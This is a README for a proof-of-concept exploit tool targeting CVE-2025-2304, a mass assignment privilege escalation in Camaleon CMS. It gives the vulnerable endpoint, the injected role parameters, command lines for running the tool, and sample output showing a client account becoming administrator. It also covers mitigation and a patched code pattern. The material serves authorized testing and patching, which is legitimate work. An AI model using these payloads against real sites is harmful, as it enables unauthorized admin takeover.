CVE-2025-2304 PoC - Camaleon CMS Privilege Escalation

A Proof of Concept (PoC) exploit for CVE-2025-2304, a critical mass assignment vulnerability in Camaleon CMS that allows privilege escalation from low-privileged users to administrators.

    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

📋 Table of Contents

Overview
Vulnerability Details
Features
Installation
Usage
Examples
Affected Versions
Mitigation
Disclaimer
References
Author

🔍 Overview

CVE-2025-2304 is a critical mass assignment vulnerability in Camaleon CMS that exists in the updated_ajax method of the UsersController. The vulnerability stems from the use of the dangerous permit! method in Rails, which allows all parameters to pass through without any filtering.

This PoC demonstrates how an authenticated user with low privileges can escalate to administrator role by injecting unauthorized parameters during password change operations.

CVSS Score: 9.4 (Critical)

🐛 Vulnerability Details

Root Cause

The vulnerable code uses params.require(:user).permit! which accepts all user-supplied parameters without validation:

def updated_ajax
  user_params = params.require(:user).permit!  # DANGEROUS!
  current_user.update(user_params)
end

Exploitation

An attacker can inject additional parameters like user[role]=admin alongside legitimate password change fields, causing the application to update the user's role to administrator.

Attack Vector:

Authenticate as a low-privileged user (e.g., "client" role)
Send crafted POST request to /admin/users/{id}/updated_ajax
Inject user[role]=admin parameter
User role escalates to administrator

✨ Features

✅ Safe Testing: Preserves user password during exploitation
✅ Multiple Payloads: Tests 7+ different injection techniques
✅ Version Detection: Automatically detects vulnerable CMS versions
✅ Non-Destructive Option: --no-password-field flag for safest testing
✅ Proxy Support: Integrates with Burp Suite/ZAP for manual analysis
✅ Verbose Mode: Detailed output for debugging
✅ Admin Takeover: Optional admin password reset attack
✅ Color-Coded Output: Clear visual indicators for success/failure

📦 Installation

Requirements

Python 3.7+
pip (Python package manager)

Clone Repository

git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc

Install Dependencies

pip install -r requirements.txt

Or install manually:

pip install requests beautifulsoup4

🚀 Usage

Basic Syntax

python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]

Command-Line Options

positional arguments:
  target                Target URL (e.g., http://target.com)

required arguments:
  -u, --username        Existing username for authentication
  -p, --password        User password

optional arguments:
  -h, --help            Show help message and exit
  -v, --verbose         Verbose output (show all requests)
  --proxy PROXY         HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
  --no-password-field   Test exploitation without password fields (safest)
  --skip-admin-test     Skip destructive admin password reset test

📚 Examples

Standard Test (Recommended)

Test with existing user credentials while preserving the password:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123

Safest Test (No Password Fields)

Test without including password fields in the exploit payload:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field

With Burp Suite Proxy

Route traffic through Burp Suite for manual inspection:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080

Verbose Mode

Enable detailed output showing all requests and responses:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v

Skip Destructive Tests

Test privilege escalation only, skip admin password reset:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test

📊 Sample Output

    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

============================================================
   CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
   Mass Assignment Vulnerability Tester
   Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================

[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********

[*] Logging in as testuser...
[+] Successfully logged in

[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)

============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================

[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged

[1/7] Testing: AJAX endpoint - user[role]
    ✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!

[✓] CVE-2025-2304 VULNERABILITY CONFIRMED

🎯 Affected Versions

Version	Status
< 2.9.1	❌ Vulnerable
≥ 2.9.1	✅ Patched

Specifically vulnerable:

Camaleon CMS 2.9.0
Camaleon CMS 2.8.x and earlier

🛡️ Mitigation

Immediate Actions

Upgrade to version 2.9.1 or later
```
gem update camaleon_cms
```
Audit User Accounts
- Check for unexpected privilege changes
- Review user role modification logs
- Look for suspicious POST requests to /users/*/updated_ajax
Force Password Resets (if compromised)
- Reset passwords for all privileged accounts
- Invalidate existing sessions

Long-Term Prevention

Secure Code Pattern:

Replace dangerous permit! with explicit whitelisting:

# Before (VULNERABLE)
def updated_ajax
  user_params = params.require(:user).permit!
  current_user.update(user_params)
end

# After (SECURE)
def updated_ajax
  user_params = params.require(:user).permit(:password, :password_confirmation)
  current_user.update(user_params)
end

Additional Security Measures:

Implement strong parameter filtering throughout the application
Add role-change approval workflows for critical operations
Enable audit logging for privilege changes
Use principle of least privilege
Monitor for mass assignment attempts via WAF rules

⚠️ Disclaimer

This tool is provided for educational and authorized security testing purposes only.

Legal Notice:

Only use this tool on systems you own or have explicit written permission to test
Unauthorized access to computer systems is illegal under laws such as:
- Computer Fraud and Abuse Act (CFAA) in the United States
- Computer Misuse Act 1990 in the United Kingdom
- Similar legislation in other jurisdictions
The author assumes NO liability for misuse or damage caused by this tool
Users are solely responsible for their actions

Ethical Use:

Obtain proper authorization before testing
Follow responsible disclosure practices
Use in penetration testing engagements with scope approval
Educational purposes in controlled lab environments only

📖 References

CVE Entry: CVE-2025-2304
GHSA Advisory: GHSA-rp28-mvq3-wf8j
Vendor Advisory: Tenable Security Research TRA-2025-09
Patch Commit: GitHub Commit 179fd6b
Release Notes: Camaleon CMS 2.9.1

👤 Author

d3vn0mi

GitHub: @d3vn0mi
Personal website: @d3vn0mi
Personal blog: @d3vn0mi

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

🤝 Contributing

Contributions, issues, and feature requests are welcome!

Feel free to check the issues page.

⭐ Show Your Support

Give a ⭐️ if this project helped you!

Note: This repository is for security research and educational purposes. Always practice responsible disclosure and obtain proper authorization before testing.

CVE-2025-2304-POC

Most Popular